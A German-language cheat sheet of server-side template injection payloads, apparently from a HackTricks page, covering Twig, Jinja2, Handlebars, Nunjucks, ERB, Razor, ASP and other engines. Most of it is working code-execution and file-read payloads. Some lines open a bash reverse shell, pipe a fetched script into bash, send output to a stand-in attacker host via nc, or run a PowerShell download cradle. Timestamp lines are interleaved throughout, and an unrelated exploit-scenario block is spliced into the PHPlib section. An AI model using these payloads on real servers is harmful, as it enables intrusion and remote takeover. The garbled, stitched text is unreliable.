this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-23 16:45:59 +00:00
[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id` ;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
* Im Smarty-Abschnitt von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Twig (PHP)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
2024-02-23 16:45:59 +00:00
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
2024-01-07 19:40:00 +00:00
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
2021-06-25 12:34:30 +00:00
```
2024-02-10 15:36:32 +00:00
**Twig - Vorlagenformat**
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
2024-02-10 15:36:32 +00:00
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
2024-02-10 15:36:32 +00:00
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
* Im Abschnitt Twig und Twig (Sandboxed) von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig )
2020-07-15 15:43:14 +00:00
2023-03-28 17:50:22 +00:00
### Plates (PHP)
2024-02-23 16:45:59 +00:00
Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.
2023-03-28 17:50:22 +00:00
2024-02-06 14:12:47 +00:00
Controller:
2023-03-28 17:50:22 +00:00
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2024-02-10 15:36:32 +00:00
Seitenvorlage:
2023-03-28 17:50:22 +00:00
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
< h1 > User Profile< / h1 >
< p > Hello, <?=$this->e($name)?> < / p >
```
2024-02-23 16:45:59 +00:00
## Layoutsvorlage:
2023-03-28 17:50:22 +00:00
```html
< html >
2024-02-10 15:36:32 +00:00
< head >
< title > <?=$this->e($title)?> < / title >
< / head >
< body >
<?=$this->section('content')?>
< / body >
2023-03-28 17:50:22 +00:00
< / html >
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates )
2024-02-10 15:36:32 +00:00
### PHPlib und HTML\_Template\_PHPLIB (PHP)
2023-03-28 17:50:22 +00:00
2024-02-23 16:45:59 +00:00
[HTML\_Template\_PHPLIB ](https://github.com/pear/HTML\_Template\_PHPLIB ) ist dasselbe wie PHPlib, aber für Pear portiert.
2023-03-28 17:50:22 +00:00
`authors.tpl`
```html
< html >
2024-02-10 15:36:32 +00:00
< head > < title > {PAGE_TITLE}< / title > < / head >
< body >
< table >
< caption > Authors< / caption >
< thead >
< tr > < th > Name< / th > < th > Email< / th > < / tr >
< / thead >
< tfoot >
< tr > < td colspan = "2" > {NUM_AUTHORS}< / td > < / tr >
< / tfoot >
< tbody >
2023-03-28 17:50:22 +00:00
<!-- BEGIN authorline -->
2024-02-10 15:36:32 +00:00
< tr > < td > {AUTHOR_NAME}< / td > < td > {AUTHOR_EMAIL}< / td > < / tr >
2023-03-28 17:50:22 +00:00
<!-- END authorline -->
2024-02-10 15:36:32 +00:00
< / tbody >
< / table >
< / body >
2023-03-28 17:50:22 +00:00
< / html >
```
2024-02-23 16:45:59 +00:00
# SSTI (Server-Side Template Injection)
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
---
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
## Beschreibung
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
In diesem Szenario wird eine Server-Side Template Injection (SSTI) Schwachstelle in einer Webanwendung demonstriert, die es einem Angreifer ermöglicht, Code auf dem Server auszuführen.
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
## Setup
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
1. Führen Sie die Anwendung in einer virtuellen Umgebung aus, indem Sie die Anweisungen im Hauptverzeichnis des Repositories befolgen.
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
2. Navigieren Sie im Browser zu `http://localhost:8080/authors.php` und überprüfen Sie die Seite.
2023-03-28 17:50:22 +00:00
2024-02-23 16:45:59 +00:00
## Exploit
2023-03-28 17:50:22 +00:00
2024-02-23 16:45:59 +00:00
Um die SSTI-Schwachstelle auszunutzen, können Sie speziell präparierten Payload in das Suchfeld auf der `authors.php` -Seite eingeben. Dies kann dazu führen, dass der eingegebene Code auf dem Server ausgeführt wird.
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
## Mitigation
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
Um SSTI-Schwachstellen zu vermeiden, sollten Eingaben von Benutzern validiert und sicher verarbeitet werden, um potenzielle Angriffe zu verhindern. Verwenden Sie sichere Codierungspraktiken und implementieren Sie Content-Security-Policies, um das Risiko von SSTI-Angriffen zu minimieren.
2023-03-28 17:50:22 +00:00
```php
< ?php
//we want to display this author list
$authors = array(
2024-02-10 15:36:32 +00:00
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
2023-03-28 17:50:22 +00:00
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
2024-02-10 15:36:32 +00:00
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
2023-03-28 17:50:22 +00:00
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2024-02-23 16:45:59 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib )
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
* Im Jade-Abschnitt von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen )
2020-07-15 15:43:14 +00:00
2023-03-28 17:50:22 +00:00
### patTemplate (PHP)
2024-02-23 16:45:59 +00:00
> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
2023-03-28 17:50:22 +00:00
```xml
< patTemplate:tmpl name = "page" >
2024-02-10 15:36:32 +00:00
This is the main page.
< patTemplate:tmpl name = "foo" >
It contains another template.
< / patTemplate:tmpl >
< patTemplate:tmpl name = "hello" >
Hello {NAME}.< br / >
< / patTemplate:tmpl >
2023-03-28 17:50:22 +00:00
< / patTemplate:tmpl >
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate )
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Pfadtraversierung (mehr Informationen [hier ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/ )).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2024-02-10 15:36:32 +00:00
* \= Fehler
2020-07-15 15:43:14 +00:00
* ${7\*7} = ${7\*7}
2024-02-10 15:36:32 +00:00
* Nichts
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
2024-02-10 15:36:32 +00:00
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
2020-07-15 15:43:14 +00:00
{{/with}}
URLencoded:
2023-07-11 13:23:18 +00:00
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
2020-07-15 15:43:14 +00:00
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-15 15:43:14 +00:00
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html ](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html )
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
2024-02-10 15:36:32 +00:00
| **Vorlage** | **Beschreibung** |
2021-10-18 11:21:18 +00:00
| ------------ | --------------------------------------- |
2024-02-10 15:36:32 +00:00
| | Auswertung und Ausgabe rendern |
2024-02-23 16:45:59 +00:00
| | Auswertung und HTML-codierte Ausgabe rendern |
2024-02-10 15:36:32 +00:00
| | Kommentar |
2024-02-23 16:45:59 +00:00
| und | Erlauben Code (standardmäßig deaktiviert) |
2020-12-01 16:50:24 +00:00
2021-10-18 11:21:18 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
2024-02-10 15:36:32 +00:00
**Clientseite**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
2024-02-23 16:45:59 +00:00
**Serverseitige**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/ ](https://appcheck-ng.com/template-injection-jsrender-jsviews/ )
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
2024-02-10 15:36:32 +00:00
**Beispiel für serverseitiges Rendern**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ ](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ )
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
2024-02-10 15:36:32 +00:00
* \{{foo\}} = Keine Ausgabe
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2024-02-10 15:36:32 +00:00
* \{{console.log(1)\}} = Fehler
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>& 1\"')")()}}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine )
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
2024-02-23 16:45:59 +00:00
* `<%= foobar %> = Error`
2021-06-25 12:34:30 +00:00
```python
< %= system("whoami") %> #Execute code
< %= Dir.entries('/') %> #List folder
< %= File.open('/etc/passwd').read %> #Read file
< %= system('cat /etc/passwd') %>
< %= `ls /` %>
< %= IO.popen('ls /').readlines() %>
< % require 'open3' %>< % @a ,@b,@c,@d=Open3.popen3('whoami') %>< %= @b .readline()%>
< % require 'open4' %>< % @a ,@b,@c,@d=Open4.popen4('whoami') %>< %= @c .readline()%>
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
2021-10-18 11:21:18 +00:00
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
2020-07-15 15:43:14 +00:00
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
2024-02-23 16:45:59 +00:00
Schauen Sie sich die folgende Seite an, um Tricks zum **beliebigen Befehlsausführung umgehen von Sandboxes** in Python zu lernen:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2020-07-15 15:43:14 +00:00
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2024-02-23 16:45:59 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
2020-07-15 15:43:14 +00:00
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado ](https://ajinabraham.com/blog/server-side-template-injection-in-tornado )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
[Offizielle Website ](http://jinja.pocoo.org )
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
> Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
* `{{7*7}} = Fehler`
2020-07-15 15:43:14 +00:00
* `${7*7} = ${7*7}`
2024-02-10 15:36:32 +00:00
* `{{foobar}} Nichts`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2020-07-15 15:43:14 +00:00
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2024-02-23 16:45:59 +00:00
2020-07-15 15:43:14 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2024-02-10 15:36:32 +00:00
**Jinja2 - Vorlagenformat**
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
2024-02-10 15:36:32 +00:00
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2023-04-05 23:11:20 +00:00
2023-03-28 17:50:22 +00:00
```
2024-02-10 15:36:32 +00:00
[**RCE nicht abhängig von** ](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ ) `__builtins__` :
2023-03-28 17:50:22 +00:00
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
2024-02-10 15:36:32 +00:00
**Weitere Details zur Ausnutzung von Jinja**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md ](jinja2-ssti.md )
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
Andere Payloads unter [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 )
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
< %
import os
x=os.popen('id').read()
%>
${x}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako )
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2024-02-10 15:36:32 +00:00
* `@(2+2) <= Erfolg`
* `@() <= Erfolg`
* `@("{{code}}") <= Erfolg`
* `@ <= Erfolg`
* `@{} <= FEHLER!`
* `@{ <= FEHLER!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2022-01-06 11:03:56 +00:00
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
2024-02-23 16:45:59 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
2024-02-23 16:45:59 +00:00
Die .NET-Methode `System.Diagnostics.Process.Start` kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp ](https://github.com/cnotin/RazorVulnerableApp )
2020-07-19 21:53:59 +00:00
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-19 21:53:59 +00:00
2021-10-18 11:21:18 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/ ](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\ )-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/ ](https://www.schtech.co.uk/razor-pages-ssti-rce/ )
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2024-02-10 15:36:32 +00:00
* `<%= foo %>` = Nichts
2022-02-03 15:39:58 +00:00
* `<%= response.write(date()) %>` = \<Date>
2024-02-06 14:12:47 +00:00
```xml
2022-02-03 15:39:58 +00:00
< %= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp ](https://www.w3schools.com/asp/asp\_examples.asp )
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
2024-02-10 15:36:32 +00:00
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
2024-02-10 15:36:32 +00:00
* `<%= foobar %> = Fehler`
2021-10-18 11:21:18 +00:00
```
2020-07-26 18:06:17 +00:00
< %= perl code %>
< % perl code %>
```
2022-05-01 13:25:53 +00:00
### SSTI in GO
2021-05-27 10:20:50 +00:00
2024-02-23 16:45:59 +00:00
In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:
2021-05-27 10:20:50 +00:00
2024-02-23 16:45:59 +00:00
* `{{ . }}` : Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einem `Password` -Attribut übergeben wird, könnte `{{ .Password }}` es offenlegen.
2024-02-10 15:36:32 +00:00
* `{{printf "%s" "ssti" }}` : Sollte den String "ssti" anzeigen.
2024-02-23 16:45:59 +00:00
